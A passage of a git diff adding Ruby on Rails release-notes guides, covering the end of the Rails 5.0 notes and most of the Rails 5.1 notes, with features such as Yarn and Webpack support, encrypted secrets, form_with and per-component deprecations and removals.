+     [Pull Request](https://github.com/rails/rails/pull/20056),
+     [commit](https://github.com/rails/rails/commit/68e3279163d06e6b04e043f91c9470e9259bbbe0))
+
+*   Implement a simple `AsyncJob` processor and associated `AsyncAdapter` that
+    queue jobs to a `concurrent-ruby` thread pool.
+    ([Pull Request](https://github.com/rails/rails/pull/21257))
+
+*   Change the default adapter from inline to async. It's a better default as
+    tests will then not mistakenly come to rely on behavior happening
+    synchronously.
+    ([commit](https://github.com/rails/rails/commit/625baa69d14881ac49ba2e5c7d9cac4b222d7022))
+
+Active Support
+--------------
+
+Please refer to the [Changelog][active-support] for detailed changes.
+
+### Removals
+
+*   Removed deprecated `ActiveSupport::JSON::Encoding::CircularReferenceError`.
+    ([commit](https://github.com/rails/rails/commit/d6e06ea8275cdc3f126f926ed9b5349fde374b10))
+
+*   Removed deprecated methods `ActiveSupport::JSON::Encoding.encode_big_decimal_as_string=`
+    and `ActiveSupport::JSON::Encoding.encode_big_decimal_as_string`.
+    ([commit](https://github.com/rails/rails/commit/c8019c0611791b2716c6bed48ef8dcb177b7869c))
+
+*   Removed deprecated `ActiveSupport::SafeBuffer#prepend`.
+    ([commit](https://github.com/rails/rails/commit/e1c8b9f688c56aaedac9466a4343df955b4a67ec))
+
+*   Removed deprecated methods from `Kernel`. `silence_stderr`, `silence_stream`,
+    `capture` and `quietly`.
+    ([commit](https://github.com/rails/rails/commit/481e49c64f790e46f4aff3ed539ed227d2eb46cb))
+
+*   Removed deprecated `active_support/core_ext/big_decimal/yaml_conversions`
+    file.
+    ([commit](https://github.com/rails/rails/commit/98ea19925d6db642731741c3b91bd085fac92241))
+
+*   Removed deprecated methods `ActiveSupport::Cache::Store.instrument` and
+    `ActiveSupport::Cache::Store.instrument=`.
+    ([commit](https://github.com/rails/rails/commit/a3ce6ca30ed0e77496c63781af596b149687b6d7))
+
+*   Removed deprecated `Class#superclass_delegating_accessor`.
+    Use `Class#class_attribute` instead.
+    ([Pull Request](https://github.com/rails/rails/pull/16938))
+
+*   Removed deprecated `ThreadSafe::Cache`. Use `Concurrent::Map` instead.
+    ([Pull Request](https://github.com/rails/rails/pull/21679))
+
+*   Removed `Object#itself` as it is implemented in Ruby 2.2.
+    ([Pull Request](https://github.com/rails/rails/pull/18244))
+
+### Deprecations
+
+*   Deprecated `MissingSourceFile` in favor of `LoadError`.
+    ([commit](https://github.com/rails/rails/commit/734d97d2))
+
+*   Deprecated `alias_method_chain` in favour of `Module#prepend` introduced in
+    Ruby 2.0.
+    ([Pull Request](https://github.com/rails/rails/pull/19434))
+
+*   Deprecated `ActiveSupport::Concurrency::Latch` in favor of
+    `Concurrent::CountDownLatch` from concurrent-ruby.
+    ([Pull Request](https://github.com/rails/rails/pull/20866))
+
+*   Deprecated `:prefix` option of `number_to_human_size` with no replacement.
+    ([Pull Request](https://github.com/rails/rails/pull/21191))
+
+*   Deprecated `Module#qualified_const_` in favour of the builtin
+    `Module#const_` methods.
+    ([Pull Request](https://github.com/rails/rails/pull/17845))
+
+*   Deprecated passing string to define callback.
+    ([Pull Request](https://github.com/rails/rails/pull/22598))
+
+*   Deprecated `ActiveSupport::Cache::Store#namespaced_key`,
+    `ActiveSupport::Cache::MemCachedStore#escape_key`, and
+    `ActiveSupport::Cache::FileStore#key_file_path`.
+    Use `normalize_key` instead.
+    ([Pull Request](https://github.com/rails/rails/pull/22215),
+     [commit](https://github.com/rails/rails/commit/a8f773b0))
+
+*   Deprecated `ActiveSupport::Cache::LocaleCache#set_cache_value` in favor of `write_cache_value`.
+    ([Pull Request](https://github.com/rails/rails/pull/22215))
+
+*   Deprecated passing arguments to `assert_nothing_raised`.
+    ([Pull Request](https://github.com/rails/rails/pull/23789))
+
+*   Deprecated `Module.local_constants` in favor of `Module.constants(false)`.
+    ([Pull Request](https://github.com/rails/rails/pull/23936))
+
+
+### Notable changes
+
+*   Added `#verified` and `#valid_message?` methods to
+    `ActiveSupport::MessageVerifier`.
+    ([Pull Request](https://github.com/rails/rails/pull/17727))
+
+*   Changed the way in which callback chains can be halted. The preferred method
+    to halt a callback chain from now on is to explicitly `throw(:abort)`.
+    ([Pull Request](https://github.com/rails/rails/pull/17227))
+
+*   New config option
+    `config.active_support.halt_callback_chains_on_return_false` to specify
+    whether ActiveRecord, ActiveModel and ActiveModel::Validations callback
+    chains can be halted by returning `false` in a 'before' callback.
+    ([Pull Request](https://github.com/rails/rails/pull/17227))
+
+*   Changed the default test order from `:sorted` to `:random`.
+    ([commit](https://github.com/rails/rails/commit/5f777e4b5ee2e3e8e6fd0e2a208ec2a4d25a960d))
+
+*   Added `#on_weekend?`, `#on_weekday?`, `#next_weekday`, `#prev_weekday` methods to `Date`,
+    `Time`, and `DateTime`.
+    ([Pull Request](https://github.com/rails/rails/pull/18335),
+     [Pull Request](https://github.com/rails/rails/pull/23687))
+
+*   Added `same_time` option to `#next_week` and `#prev_week` for `Date`, `Time`,
+    and `DateTime`.
+    ([Pull Request](https://github.com/rails/rails/pull/18335))
+
+*   Added `#prev_day` and `#next_day` counterparts to `#yesterday` and
+    `#tomorrow` for `Date`, `Time`, and `DateTime`.
+    ([Pull Request](https://github.com/rails/rails/pull/18335))
+
+*   Added `SecureRandom.base58` for generation of random base58 strings.
+    ([commit](https://github.com/rails/rails/commit/b1093977110f18ae0cafe56c3d99fc22a7d54d1b))
+
+*   Added `file_fixture` to `ActiveSupport::TestCase`.
+    It provides a simple mechanism to access sample files in your test cases.
+    ([Pull Request](https://github.com/rails/rails/pull/18658))
+
+*   Added `#without` on `Enumerable` and `Array` to return a copy of an
+    enumerable without the specified elements.
+    ([Pull Request](https://github.com/rails/rails/pull/19157))
+
+*   Added `ActiveSupport::ArrayInquirer` and `Array#inquiry`.
+    ([Pull Request](https://github.com/rails/rails/pull/18939))
+
+*   Added `ActiveSupport::TimeZone#strptime` to allow parsing times as if
+    from a given timezone.
+    ([commit](https://github.com/rails/rails/commit/a5e507fa0b8180c3d97458a9b86c195e9857d8f6))
+
+*   Added `Integer#positive?` and `Integer#negative?` query methods
+    in the vein of `Integer#zero?`.
+    ([commit](https://github.com/rails/rails/commit/e54277a45da3c86fecdfa930663d7692fd083daa))
+
+*   Added a bang version to `ActiveSupport::OrderedOptions` get methods which will raise
+    an `KeyError` if the value is `.blank?`.
+    ([Pull Request](https://github.com/rails/rails/pull/20208))
+
+*   Added `Time.days_in_year` to return the number of days in the given year, or the
+    current year if no argument is provided.
+    ([commit](https://github.com/rails/rails/commit/2f4f4d2cf1e4c5a442459fc250daf66186d110fa))
+
+*   Added an evented file watcher to asynchronously detect changes in the
+    application source code, routes, locales, etc.
+    ([Pull Request](https://github.com/rails/rails/pull/22254))
+
+*   Added thread_m/cattr_accessor/reader/writer suite of methods for declaring
+    class and module variables that live per-thread.
+    ([Pull Request](https://github.com/rails/rails/pull/22630))
+
+*   Added `Array#second_to_last` and `Array#third_to_last` methods.
+    ([Pull Request](https://github.com/rails/rails/pull/23583))
+
+*   Publish `ActiveSupport::Executor` and `ActiveSupport::Reloader` APIs to allow
+    components and libraries to manage, and participate in, the execution of
+    application code, and the application reloading process.
+    ([Pull Request](https://github.com/rails/rails/pull/23807))
+
+*   `ActiveSupport::Duration` now supports ISO8601 formatting and parsing.
+    ([Pull Request](https://github.com/rails/rails/pull/16917))
+
+*   `ActiveSupport::JSON.decode` now supports parsing ISO8601 local times when
+    `parse_json_times` is enabled.
+    ([Pull Request](https://github.com/rails/rails/pull/23011))
+
+*   `ActiveSupport::JSON.decode` now return `Date` objects for date strings.
+    ([Pull Request](https://github.com/rails/rails/pull/23011))
+
+*   Added ability to `TaggedLogging` to allow loggers to be instantiated multiple
+    times so that they don't share tags with each other.
+    ([Pull Request](https://github.com/rails/rails/pull/9065))
+
+Credits
+-------
+
+See the
+[full list of contributors to Rails](http://contributors.rubyonrails.org/) for
+the many people who spent many hours making Rails, the stable and robust
+framework it is. Kudos to all of them.
+
+[railties]:       https://github.com/rails/rails/blob/5-0-stable/railties/CHANGELOG.md
+[action-pack]:    https://github.com/rails/rails/blob/5-0-stable/actionpack/CHANGELOG.md
+[action-view]:    https://github.com/rails/rails/blob/5-0-stable/actionview/CHANGELOG.md
+[action-mailer]:  https://github.com/rails/rails/blob/5-0-stable/actionmailer/CHANGELOG.md
+[action-cable]:   https://github.com/rails/rails/blob/5-0-stable/actioncable/CHANGELOG.md
+[active-record]:  https://github.com/rails/rails/blob/5-0-stable/activerecord/CHANGELOG.md
+[active-model]:   https://github.com/rails/rails/blob/5-0-stable/activemodel/CHANGELOG.md
+[active-support]: https://github.com/rails/rails/blob/5-0-stable/activesupport/CHANGELOG.md
+[active-job]:     https://github.com/rails/rails/blob/5-0-stable/activejob/CHANGELOG.md
diff --git a/guides/source/5_1_release_notes.md b/guides/source/5_1_release_notes.md
new file mode 100644
index 0000000000..fa92b9e5f8
--- /dev/null
+++ b/guides/source/5_1_release_notes.md
@@ -0,0 +1,652 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
+Ruby on Rails 5.1 Release Notes
+===============================
+
+Highlights in Rails 5.1:
+
+* Yarn Support
+* Optional Webpack support
+* jQuery no longer a default dependency
+* System tests
+* Encrypted secrets
+* Parameterized mailers
+* Direct & resolved routes
+* Unification of form_for and form_tag into form_with
+
+These release notes cover only the major changes. To learn about various bug
+fixes and changes, please refer to the change logs or check out the [list of
+commits](https://github.com/rails/rails/commits/5-1-stable) in the main Rails
+repository on GitHub.
+
+--------------------------------------------------------------------------------
+
+Upgrading to Rails 5.1
+----------------------
+
+If you're upgrading an existing application, it's a great idea to have good test
+coverage before going in. You should also first upgrade to Rails 5.0 in case you
+haven't and make sure your application still runs as expected before attempting
+an update to Rails 5.1. A list of things to watch out for when upgrading is
+available in the
+[Upgrading Ruby on Rails](upgrading_ruby_on_rails.html#upgrading-from-rails-5-0-to-rails-5-1)
+guide.
+
+
+Major Features
+--------------
+
+### Yarn Support
+
+[Pull Request](https://github.com/rails/rails/pull/26836)
+
+Rails 5.1 allows managing JavaScript dependencies
+from NPM via Yarn. This will make it easy to use libraries like React, VueJS
+or any other library from NPM world. The Yarn support is integrated with
+the asset pipeline so that all dependencies will work seamlessly with the
+Rails 5.1 app.
+
+### Optional Webpack support
+
+[Pull Request](https://github.com/rails/rails/pull/27288)
+
+Rails apps can integrate with [Webpack](https://webpack.js.org/), a JavaScript
+asset bundler, more easily using the new [Webpacker](https://github.com/rails/webpacker)
+gem. Use the `--webpack` flag when generating new applications to enable Webpack
+integration.
+
+This is fully compatible with the asset pipeline, which you can continue to use for
+images, fonts, sounds, and other assets. You can even have some JavaScript code
+managed by the asset pipeline, and other code processed via Webpack. All of this is managed
+by Yarn, which is enabled by default.
+
+### jQuery no longer a default dependency
+
+[Pull Request](https://github.com/rails/rails/pull/27113)
+
+jQuery was required by default in earlier versions of Rails to provide features
+like `data-remote`, `data-confirm` and other parts of Rails' Unobtrusive JavaScript
+offerings. It is no longer required, as the UJS has been rewritten to use plain,
+vanilla JavaScript. This code now ships inside of Action View as
+`rails-ujs`.
+
+You can still use jQuery if needed, but it is no longer required by default.
+
+### System tests
+
+[Pull Request](https://github.com/rails/rails/pull/26703)
+
+Rails 5.1 has baked-in support for writing Capybara tests, in the form of
+System tests. You no longer need to worry about configuring Capybara and
+database cleaning strategies for such tests. Rails 5.1 provides a wrapper
+for running tests in Chrome with additional features such as failure
+screenshots.
+
+### Encrypted secrets
+
+[Pull Request](https://github.com/rails/rails/pull/28038)
+
+Rails now allows management of application secrets in a secure way,
+inspired by the [sekrets](https://github.com/ahoward/sekrets) gem.
+
+Run `bin/rails secrets:setup` to setup a new encrypted secrets file. This will
+also generate a master key, which must be stored outside of the repository. The
+secrets themselves can then be safely checked into the revision control system,
+in an encrypted form.
+
+Secrets will be decrypted in production, using a key stored either in the
+`RAILS_MASTER_KEY` environment variable, or in a key file.
+
+### Parameterized mailers
+
+[Pull Request](https://github.com/rails/rails/pull/27825)
+
+Allows specifying common parameters used for all methods in a mailer class in
+order to share instance variables, headers and other common setup.
+
+``` ruby
+class InvitationsMailer < ApplicationMailer
+  before_action { @inviter, @invitee = params[:inviter], params[:invitee] }
+  before_action { @account = params[:inviter].account }
+
+  def account_invitation
+    mail subject: "#{@inviter.name} invited you to their Basecamp (#{@account.name})"
+  end
+end
+
+InvitationsMailer.with(inviter: person_a, invitee: person_b)
+                 .account_invitation.deliver_later
+```
+
+### Direct & resolved routes
+
+[Pull Request](https://github.com/rails/rails/pull/23138)
+
+Rails 5.1 adds two new methods, `resolve` and `direct`, to the routing
+DSL. The `resolve` method allows customizing polymorphic mapping of models.
+
+``` ruby
+resource :basket
+
+resolve("Basket") { [:basket] }
+```
+
+``` erb
+<%= form_for @basket do |form| %>
+  <!-- basket form -->
+<% end %>
+```
+
+This will generate the singular URL `/basket` instead of the usual `/baskets/:id`.
+
+The `direct` method allows creation of custom URL helpers.
+
+``` ruby
+direct(:homepage) { "http://www.rubyonrails.org" }
+
+>> homepage_url
+=> "http://www.rubyonrails.org"
+```
+
+The return value of the block must be a valid argument for the `url_for`
+method. So, you can pass a valid string URL, Hash, Array, an
+Active Model instance, or an Active Model class.
+
+``` ruby
+direct :commentable do |model|
+  [ model, anchor: model.dom_id ]
+end
+
+direct :main do
+  { controller: 'pages', action: 'index', subdomain: 'www' }
+end
+```
+
+### Unification of form_for and form_tag into form_with
+
+[Pull Request](https://github.com/rails/rails/pull/26976)
+
+Before Rails 5.1, there were two interfaces for handling HTML forms:
+`form_for` for model instances and `form_tag` for custom URLs.
+
+Rails 5.1 combines both of these interfaces with `form_with`, and
+can generate form tags based on URLs, scopes or models.
+
+Using just a URL:
+
+``` erb
+<%= form_with url: posts_path do |form| %>
+  <%= form.text_field :title %>
+<% end %>
+
+<%# Will generate %>
+
+<form action="/posts" method="post" data-remote="true">
+  <input type="text" name="title">
+</form>
+```
+
+Adding a scope prefixes the input field names:
+
+``` erb
+<%= form_with scope: :post, url: posts_path do |form| %>
+  <%= form.text_field :title %>
+<% end %>
+
+<%# Will generate %>
+
+<form action="/posts" method="post" data-remote="true">
+  <input type="text" name="post[title]">
+</form>
+```
+
+Using a model infers both the URL and scope:
+
+``` erb
+<%= form_with model: Post.new do |form| %>
+  <%= form.text_field :title %>
+<% end %>
+
+<%# Will generate %>
+
+<form action="/posts" method="post" data-remote="true">
+  <input type="text" name="post[title]">
+</form>
+```
+
+An existing model makes an update form and fills out field values:
+
+``` erb
+<%= form_with model: Post.first do |form| %>
+  <%= form.text_field :title %>
+<% end %>
+
+<%# Will generate %>
+
+<form action="/posts/1" method="post" data-remote="true">
+  <input type="hidden" name="_method" value="patch">
+  <input type="text" name="post[title]" value="<the title of the post>">
+</form>
+```
+
+Incompatibilities
+-----------------
+
+The following changes may require immediate action upon upgrade.
+
+### Transactional tests with multiple connections
+
+Transactional tests now wrap all Active Record connections in database
+transactions.
+
+When a test spawns additional threads, and those threads obtain database
+connections, those connections are now handled specially:
+
+The threads will share a single connection, which is inside the managed
+transaction. This ensures all threads see the database in the same
+state, ignoring the outermost transaction. Previously, such additional
+connections were unable to see the fixture rows, for example.
+
+When a thread enters a nested transaction, it will temporarily obtain
+exclusive use of the connection, to maintain isolation.
+
+If your tests currently rely on obtaining a separate,
+outside-of-transaction, connection in a spawned thread, you'll need to
+switch to more explicit connection management.
+
+If your tests spawn threads and those threads interact while also using
+explicit database transactions, this change may introduce a deadlock.
+
+The easy way to opt out of this new behavior is to disable transactional
+tests on any test cases it affects.
+
+Railties
+--------
+
+Please refer to the [Changelog][railties] for detailed changes.
+
+### Removals
+
+*   Remove deprecated `config.static_cache_control`.
+    ([commit](https://github.com/rails/rails/commit/c861decd44198f8d7d774ee6a74194d1ac1a5a13))
+
+*   Remove deprecated `config.serve_static_files`.
+    ([commit](https://github.com/rails/rails/commit/0129ca2eeb6d5b2ea8c6e6be38eeb770fe45f1fa))
+
+*   Remove deprecated file `rails/rack/debugger`.
+    ([commit](https://github.com/rails/rails/commit/7563bf7b46e6f04e160d664e284a33052f9804b8))
+
+*   Remove deprecated tasks: `rails:update`, `rails:template`, `rails:template:copy`,
+    `rails:update:configs` and `rails:update:bin`.
+    ([commit](https://github.com/rails/rails/commit/f7782812f7e727178e4a743aa2874c078b722eef))
+
+*   Remove deprecated `CONTROLLER` environment variable for `routes` task.
+    ([commit](https://github.com/rails/rails/commit/f9ed83321ac1d1902578a0aacdfe55d3db754219))
+
+*   Remove -j (--javascript) option from `rails new` command.
+    ([Pull Request](https://github.com/rails/rails/pull/28546))
+
+### Notable changes
+
+*   Added a shared section to `config/secrets.yml` that will be loaded for all
+    environments.
+    ([commit](https://github.com/rails/rails/commit/e530534265d2c32b5c5f772e81cb9002dcf5e9cf))
+
+*   The config file `config/secrets.yml` is now loaded in with all keys as symbols.
+    ([Pull Request](https://github.com/rails/rails/pull/26929))
+
+*   Removed jquery-rails from default stack. rails-ujs, which is shipped
+    with Action View, is included as default UJS adapter.
+    ([Pull Request](https://github.com/rails/rails/pull/27113))
+
+*   Add Yarn support in new apps with a yarn binstub and package.json.
+    ([Pull Request](https://github.com/rails/rails/pull/26836))
+
+*   Add Webpack support in new apps via the `--webpack` option, which will delegate
+    to the rails/webpacker gem.
+    ([Pull Request](https://github.com/rails/rails/pull/27288))
+
+*   Initialize Git repo when generating new app, if option `--skip-git` is not
+    provided.
+    ([Pull Request](https://github.com/rails/rails/pull/27632))
+
+*   Add encrypted secrets in `config/secrets.yml.enc`.
+    ([Pull Request](https://github.com/rails/rails/pull/28038))
+
+*   Display railtie class name in `rails initializers`.
+    ([Pull Request](https://github.com/rails/rails/pull/25257))
+
+Action Cable
+-----------
+
+Please refer to the [Changelog][action-cable] for detailed changes.
+
+### Notable changes
+
+*   Added support for `channel_prefix` to Redis and evented Redis adapters
+    in `cable.yml` to avoid name collisions when using the same Redis server
+    with multiple applications.
+    ([Pull Request](https://github.com/rails/rails/pull/27425))
+
+*   Add `ActiveSupport::Notifications` hook for broadcasting data.
+    ([Pull Request](https://github.com/rails/rails/pull/24988))
+
+Action Pack
+-----------
+
+Please refer to the [Changelog][action-pack] for detailed changes.
+
+### Removals
+
+*   Removed support for non-keyword arguments in `#process`, `#get`, `#post`,
+    `#patch`, `#put`, `#delete`, and `#head` for the `ActionDispatch::IntegrationTest`
+    and `ActionController::TestCase` classes.
+    ([Commit](https://github.com/rails/rails/commit/98b8309569a326910a723f521911e54994b112fb),
+    [Commit](https://github.com/rails/rails/commit/de9542acd56f60d281465a59eac11e15ca8b3323))
+
+*   Removed deprecated `ActionDispatch::Callbacks.to_prepare` and
+    `ActionDispatch::Callbacks.to_cleanup`.
+    ([Commit](https://github.com/rails/rails/commit/3f2b7d60a52ffb2ad2d4fcf889c06b631db1946b))
+
+*   Removed deprecated methods related to controller filters.
+    ([Commit](https://github.com/rails/rails/commit/d7be30e8babf5e37a891522869e7b0191b79b757))
+
+### Deprecations
+
+*   Deprecated `config.action_controller.raise_on_unfiltered_parameters`.
+    It doesn't have any effect in Rails 5.1.
+    ([Commit](https://github.com/rails/rails/commit/c6640fb62b10db26004a998d2ece98baede509e5))
+
+### Notable changes
+
+*   Added the `direct` and `resolve` methods to the routing DSL.
+    ([Pull Request](https://github.com/rails/rails/pull/23138))
+
+*   Added a new `ActionDispatch::SystemTestCase` class to write system tests in
+    your applications.
+    ([Pull Request](https://github.com/rails/rails/pull/26703))
+
+Action View
+-------------
+
+Please refer to the [Changelog][action-view] for detailed changes.
+
+### Removals
+
+*   Removed deprecated `#original_exception` in `ActionView::Template::Error`.
+    ([commit](https://github.com/rails/rails/commit/b9ba263e5aaa151808df058f5babfed016a1879f))
+
+*   Remove the option `encode_special_chars` misnomer from `strip_tags`.
+    ([Pull Request](https://github.com/rails/rails/pull/28061))
+
+### Deprecations
+
+*   Deprecated Erubis ERB handler in favor of Erubi.
+    ([Pull Request](https://github.com/rails/rails/pull/27757))
+
+### Notable changes
+
+*   Raw template handler (the default template handler in Rails 5) now outputs
+    HTML-safe strings.
+    ([commit](https://github.com/rails/rails/commit/1de0df86695f8fa2eeae6b8b46f9b53decfa6ec8))
+
+*   Change `datetime_field` and `datetime_field_tag` to generate `datetime-local`
+    fields.
+    ([Pull Request](https://github.com/rails/rails/pull/28061))
+
+*   New Builder-style syntax for HTML tags (`tag.div`, `tag.br`, etc.)
+    ([Pull Request](https://github.com/rails/rails/pull/25543))
+
+*   Add `form_with` to unify `form_tag` and `form_for` usage.
+    ([Pull Request](https://github.com/rails/rails/pull/26976))
+
+*   Add `check_parameters` option to `current_page?`.
+    ([Pull Request](https://github.com/rails/rails/pull/27549))
+
+Action Mailer
+-------------
+
+Please refer to the [Changelog][action-mailer] for detailed changes.
+
+### Notable changes
+
+*   Allowed setting custom content type when attachments are included
+    and body is set inline.
+    ([Pull Request](https://github.com/rails/rails/pull/27227))
+
+*   Allowed passing lambdas as values to the `default` method.
+    ([Commit](https://github.com/rails/rails/commit/1cec84ad2ddd843484ed40b1eb7492063ce71baf))
+
+*   Added support for parameterized invocation of mailers to share before filters and defaults
+    between different mailer actions.
+    ([Commit](https://github.com/rails/rails/commit/1cec84ad2ddd843484ed40b1eb7492063ce71baf))
+
+*   Passed the incoming arguments to the mailer action to `process.action_mailer` event under
+    an `args` key.
+    ([Pull Request](https://github.com/rails/rails/pull/27900))
+
+Active Record
+-------------
+
+Please refer to the [Changelog][active-record] for detailed changes.
+
+### Removals
+
+*   Removed support for passing arguments and block at the same time to
+    `ActiveRecord::QueryMethods#select`.
+    ([Commit](https://github.com/rails/rails/commit/4fc3366d9d99a0eb19e45ad2bf38534efbf8c8ce))
+
+*   Removed deprecated `activerecord.errors.messages.restrict_dependent_destroy.one` and
+    `activerecord.errors.messages.restrict_dependent_destroy.many` i18n scopes.
+    ([Commit](https://github.com/rails/rails/commit/00e3973a311))
+
+*   Removed deprecated force reload argument in singular and collection association readers.
+    ([Commit](https://github.com/rails/rails/commit/09cac8c67af))
+
+*   Removed deprecated support for passing a column to `#quote`.
+    ([Commit](https://github.com/rails/rails/commit/e646bad5b7c))
+
+*   Removed deprecated `name` arguments from `#tables`.
+    ([Commit](https://github.com/rails/rails/commit/d5be101dd02214468a27b6839ffe338cfe8ef5f3))
+
+*   Removed deprecated behavior of `#tables` and `#table_exists?` to return tables and views
+    to return only tables and not views.
+    ([Commit](https://github.com/rails/rails/commit/5973a984c369a63720c2ac18b71012b8347479a8))
+
+*   Removed deprecated `original_exception` argument in `ActiveRecord::StatementInvalid#initialize`
+    and `ActiveRecord::StatementInvalid#original_exception`.
+    ([Commit](https://github.com/rails/rails/commit/bc6c5df4699d3f6b4a61dd12328f9e0f1bd6cf46))
+
+*   Removed deprecated support of passing a class as a value in a query.
+    ([Commit](https://github.com/rails/rails/commit/b4664864c972463c7437ad983832d2582186e886))
+
+*   Removed deprecated support to query using commas on LIMIT.
+    ([Commit](https://github.com/rails/rails/commit/fc3e67964753fb5166ccbd2030d7382e1976f393))
+
+*   Removed deprecated `conditions` parameter from `#destroy_all`.
+    ([Commit](https://github.com/rails/rails/commit/d31a6d1384cd740c8518d0bf695b550d2a3a4e9b))
+
+*   Removed deprecated `conditions` parameter from `#delete_all`.
+    ([Commit](https://github.com/rails/rails/pull/27503/commits/e7381d289e4f8751dcec9553dcb4d32153bd922b))
+
+*   Removed deprecated method `#load_schema_for` in favor of `#load_schema`.
+    ([Commit](https://github.com/rails/rails/commit/419e06b56c3b0229f0c72d3e4cdf59d34d8e5545))
+
+*   Removed deprecated `#raise_in_transactional_callbacks` configuration.
+    ([Commit](https://github.com/rails/rails/commit/8029f779b8a1dd9848fee0b7967c2e0849bf6e07))
+
+*   Removed deprecated `#use_transactional_fixtures` configuration.
+    ([Commit](https://github.com/rails/rails/commit/3955218dc163f61c932ee80af525e7cd440514b3))
+
+### Deprecations
+
+*   Deprecated `error_on_ignored_order_or_limit` flag in favor of
+    `error_on_ignored_order`.
+    ([Commit](https://github.com/rails/rails/commit/451437c6f57e66cc7586ec966e530493927098c7))
+
+*   Deprecated `sanitize_conditions` in favor of `sanitize_sql`.
+    ([Pull Request](https://github.com/rails/rails/pull/25999))
+
+*   Deprecated `supports_migrations?` on connection adapters.
+    ([Pull Request](https://github.com/rails/rails/pull/28172))
+
+*   Deprecated `Migrator.schema_migrations_table_name`, use `SchemaMigration.table_name` instead.
+    ([Pull Request](https://github.com/rails/rails/pull/28351))
+
+*   Deprecated using `#quoted_id` in quoting and type casting.
+    ([Pull Request](https://github.com/rails/rails/pull/27962))
+
+*   Deprecated passing `default` argument to `#index_name_exists?`.
+    ([Pull Request](https://github.com/rails/rails/pull/26930))
+
+### Notable changes
+
+*   Change Default Primary Keys to BIGINT.
+    ([Pull Request](https://github.com/rails/rails/pull/26266))
+
+*   Virtual/generated column support for MySQL 5.7.5+ and MariaDB 5.2.0+.
+    ([Commit](https://github.com/rails/rails/commit/65bf1c60053e727835e06392d27a2fb49665484c))
+
+*   Added support for limits in batch processing.
+    ([Commit](https://github.com/rails/rails/commit/451437c6f57e66cc7586ec966e530493927098c7))
+
+*   Transactional tests now wrap all Active Record connections in database
+    transactions.
+    ([Pull Request](https://github.com/rails/rails/pull/28726))
+
+*   Skipped comments in the output of `mysqldump` command by default.
+    ([Pull Request](https://github.com/rails/rails/pull/23301))
+
+*   Fixed `ActiveRecord::Relation#count` to use Ruby's `Enumerable#count` for counting
+    records when a block is passed as argument instead of silently ignoring the
+    passed block.
+    ([Pull Request](https://github.com/rails/rails/pull/24203))
+
+*   Pass `"-v ON_ERROR_STOP=1"` flag with `psql` command to not suppress SQL errors.
+    ([Pull Request](https://github.com/rails/rails/pull/24773))
+
+*   Add `ActiveRecord::Base.connection_pool.stat`.
+    ([Pull Request](https://github.com/rails/rails/pull/26988))
+
+*   Inheriting directly from `ActiveRecord::Migration` raises an error.
+    Specify the Rails version for which the migration was written for.
+    ([Commit](https://github.com/rails/rails/commit/249f71a22ab21c03915da5606a063d321f04d4d3))
+
+*   An error is raised when `through` association has ambiguous reflection name.
+    ([Commit](https://github.com/rails/rails/commit/0944182ad7ed70d99b078b22426cbf844edd3f61))
+
+Active Model
+------------
+
+Please refer to the [Changelog][active-model] for detailed changes.
+
+### Removals
+
+*   Removed deprecated methods in `ActiveModel::Errors`.
+    ([commit](https://github.com/rails/rails/commit/9de6457ab0767ebab7f2c8bc583420fda072e2bd))
+
+*   Removed deprecated `:tokenizer` option in the length validator.
+    ([commit](https://github.com/rails/rails/commit/6a78e0ecd6122a6b1be9a95e6c4e21e10e429513))
+
+*   Remove deprecated behavior that halts callbacks when the return value is false.
+    ([commit](https://github.com/rails/rails/commit/3a25cdca3e0d29ee2040931d0cb6c275d612dffe))
+
+### Notable changes
+
+*   The original string assigned to a model attribute is no longer incorrectly
+    frozen.
+    ([Pull Request](https://github.com/rails/rails/pull/28729))
+
+Active Job
+-----------
+
+Please refer to the [Changelog][active-job] for detailed changes.
+
+### Removals
+
+*   Removed deprecated support to passing the adapter class to `.queue_adapter`.
+    ([commit](https://github.com/rails/rails/commit/d1fc0a5eb286600abf8505516897b96c2f1ef3f6))
+
+*   Removed deprecated `#original_exception` in `ActiveJob::DeserializationError`.
+    ([commit](https://github.com/rails/rails/commit/d861a1fcf8401a173876489d8cee1ede1cecde3b))
+
+### Notable changes
+
+*   Added declarative exception handling via `ActiveJob::Base.retry_on` and `ActiveJob::Base.discard_on`.
+    ([Pull Request](https://github.com/rails/rails/pull/25991))
+
+*   Yield the job instance so you have access to things like `job.arguments` on
+    the custom logic after retries fail.
+    ([commit](https://github.com/rails/rails/commit/a1e4c197cb12fef66530a2edfaeda75566088d1f))
+
+Active Support
+--------------
+
+Please refer to the [Changelog][active-support] for detailed changes.
+
+### Removals
+
+*   Removed the `ActiveSupport::Concurrency::Latch` class.
+    ([Commit](https://github.com/rails/rails/commit/0d7bd2031b4054fbdeab0a00dd58b1b08fb7fea6))
+
+*   Removed `halt_callback_chains_on_return_false`.
+    ([Commit](https://github.com/rails/rails/commit/4e63ce53fc25c3bc15c5ebf54bab54fa847ee02a))
+
+*   Removed deprecated behavior that halts callbacks when the return is false.
+    ([Commit](https://github.com/rails/rails/commit/3a25cdca3e0d29ee2040931d0cb6c275d612dffe))
+
+### Deprecations
+
+*   The top level `HashWithIndifferentAccess` class has been softly deprecated
+    in favor of the `ActiveSupport::HashWithIndifferentAccess` one.
+    ([Pull Request](https://github.com/rails/rails/pull/28157))
+
+*   Deprecated passing string to `:if` and `:unless` conditional options on `set_callback` and `skip_callback`.
+    ([Commit](https://github.com/rails/rails/commit/0952552)
+
+### Notable changes
+
+*   Fixed duration parsing and traveling to make it consistent across DST changes.
+    ([Commit](https://github.com/rails/rails/commit/8931916f4a1c1d8e70c06063ba63928c5c7eab1e),
+    [Pull Request](https://github.com/rails/rails/pull/26597))
+
+*   Updated Unicode to version 9.0.0.
+    ([Pull Request](https://github.com/rails/rails/pull/27822))
+
+*   Add Duration#before and #after as aliases for #ago and #since.
+    ([Pull Request](https://github.com/rails/rails/pull/27721))
+
+*   Added `Module#delegate_missing_to` to delegate method calls not
+    defined for the current object to a proxy object.
+    ([Pull Request](https://github.com/rails/rails/pull/23930))
+
+*   Added `Date#all_day` which returns a range representing the whole day
+    of the current date & time.
+    ([Pull Request](https://github.com/rails/rails/pull/24930))
+
+*   Introduced the `assert_changes` and `assert_no_changes` methods for tests.
+    ([Pull Request](https://github.com/rails/rails/pull/25393))
+
+*   The `travel` and `travel_to` methods now raise on nested calls.
+    ([Pull Request](https://github.com/rails/rails/pull/24890))
+
+*   Update `DateTime#change` to support usec and nsec.
+    ([Pull Request](https://github.com/rails/rails/pull/28242))
+
+Credits
+-------
+
+See the
